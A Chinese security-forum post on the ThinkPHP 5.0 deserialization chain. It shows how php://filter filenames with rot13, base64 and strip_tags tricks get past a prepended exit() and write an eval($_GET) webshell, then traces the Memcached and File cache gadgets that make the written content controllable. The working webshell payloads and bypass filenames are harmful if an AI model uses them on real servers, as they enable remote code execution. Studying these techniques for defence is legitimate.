前言

闲着无聊看了看 TP5.0 的反序列化链,突然发现网上的大部分链最后用的 filename 都是这样的:php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php

因为某些原因需要在 filename 上做些手脚,并且 filenamevalue 的值基本是一样的,我们可以假设他是这样的:

<?php 
$filename = "php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>

windows 下运行(wampserver ):

经过测试发现好像是问号(?)的问题。因为这样是可以的:

<?php 
$filename = "php://filter/write=string.rot13/resource=<script language=php>phpinfo();</script>/../../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>

但是我决定直面一下这个问题,研究研究还有什么别的方法可以以 <? 开头写一个 shell

这里就不讲 TP5.0 链的细节了,大哥们的文章都说的很详细了

编码绕过

base64

首先想到的当然是 base64,一开始我很好奇为什么不用 base64 编码写 shell ,于是我测试了一下:

<?php 
$filename = "php://filter/write=convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>

但是这样也会报错:

这是为什么呢,因为 等于号 ,可能是 base64 遇到等于号时就停止解析了,这里的 write= 是可以去掉的,也就是说:

php://filter/convert.base64-decode/resource=a.php

这样的文件名是可以的,但是 resource= 去掉就会报错。

strip_tags + base64

那么也就是说我们把等于号去掉就可以了,于是我人肉 fuzz 了一下,发现了个特殊一点的文件名:

<?php 
$filename = "php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>

我在 /resource 前加了个 <,然后在 = 后也加了个 >,这样会先触发 strip_tagsresource= 去掉,剩下就可以正常的解码了,

虽然会报错说没有找到 < 这个过滤器,但是是 warning,文件内容可以正常写入:

本来故事到这差不多结束了,但是这样在 thinkphp 还是不行,因为即使是 warning 也会被 tp 捕捉然后结束程序,于是只能寻找下一个方法。

控制文件名

跟过 tp5.0 反序列化的师傅们可能知道这个函数:

简单说一下,就是这里的 $name 就是上面代码里的文件名,然后正常来说他会到 else 的语句里,然后 $value 就是我们传进去的文件名了,最后又会进入一次 set 函数,这个 set 函数就是写文件的地方。

但是我们能不能让他进入 if 里呢?

理论上是可以的,但是在跟 has 函数会发现个问题:

这里的 $filename 就是那一长串 php://filter/.... 这些。这里是过不了 is_file 的。

我们现在假设一下这里没有 is_file,但是 getCacheKey 获取的文件名,是以 .php 结尾的,所以我们还是会面临一个问题,就是我们没有可控的 php 文件,此时想到如果我们可以写一个缓存文件就好了。

有的,刚好找到一条:

在正常的链中会进入 class ModeltoArray 函数,这里面有一句:

跟进去:

这里的 $modelRelation 是可控的,把他设置成 class HasOne 即可,进入这个类:

把这个 query 设置成 class Query,这里面需要设置一些数据的参数,我们可以控制成自己服务器的,然后返回特定的值,进入 find 函数,里面有几句话:

这里的 $result 是可控的,是执行了一段 sql 语句,从数据库中返回的值,只需要在数据库中插入相应的值即可,这里链接的还是我们自己设置的服务器,所以很好控制。

但是相反的,进入了这里以后, file_put_contents 这个函数的 $filename 就是不可控的,所以还是会被开头的 exit() 结束掉程序。

具体的细节就不展开来讲了。否则篇幅就过于冗长了

最简单的方法

好了,无用的分析就到这里,因为一开始没看到前面提到的 file_exists 所以浪费了很多时间。

既然那个方法不行,我们看看还有没有别的方法。

正常的链回到 class Outputwriteln 函数:

然后到 Memcache的 :

public function write($sessID, $sessData)
{
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

这也就是为什么第二个参数是不可控的,但是这里的第一个参数可控

这里调用了 set,然后正常的路是直直的走向了 class File ,然后触发 file_put_contents,现在我们绕一下,我们走到 class think\cache\driver\Memcached

这里也有 set 函数,第一次进来时 $name 可控,但是 $value 不可控,这里我们把 $this->handler 设置成 class File,然后里面的 filename 也是可以控制得,前缀直接控制成:php://filter/conver.base64-decode/resource=

不需要花里胡哨的东西了。

首先会正常写入一次文件,进入到下面的 setTagItem 函数,这里的 $key 就是我们传入的 $name

setTagItem 上面其实有了,再贴出来一次:

protected function setTagItem($name)
    {
        if ($this->tag) {
           ....
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) { //返回 false,进入 else 语句
                .....
            } else {
                $value = $name;
            }
            $this->set($key, $value, 0);
        }
    }

看到这里相当于直接把 $name 代入到了 set 的第二个参数了。然后又回去一次,也就是上面的图,这次我们的 value 就是我们可控的值了。。

总结

可能有点乱,因为反序列化链如果要搞懂还是要自己跟入一下会比较清楚,这里也算是记录一下思考的过程。中间可能有错误,还请师傅们多指正,一起学习。

点击收藏 | 0 关注 | 1
登录 后跟帖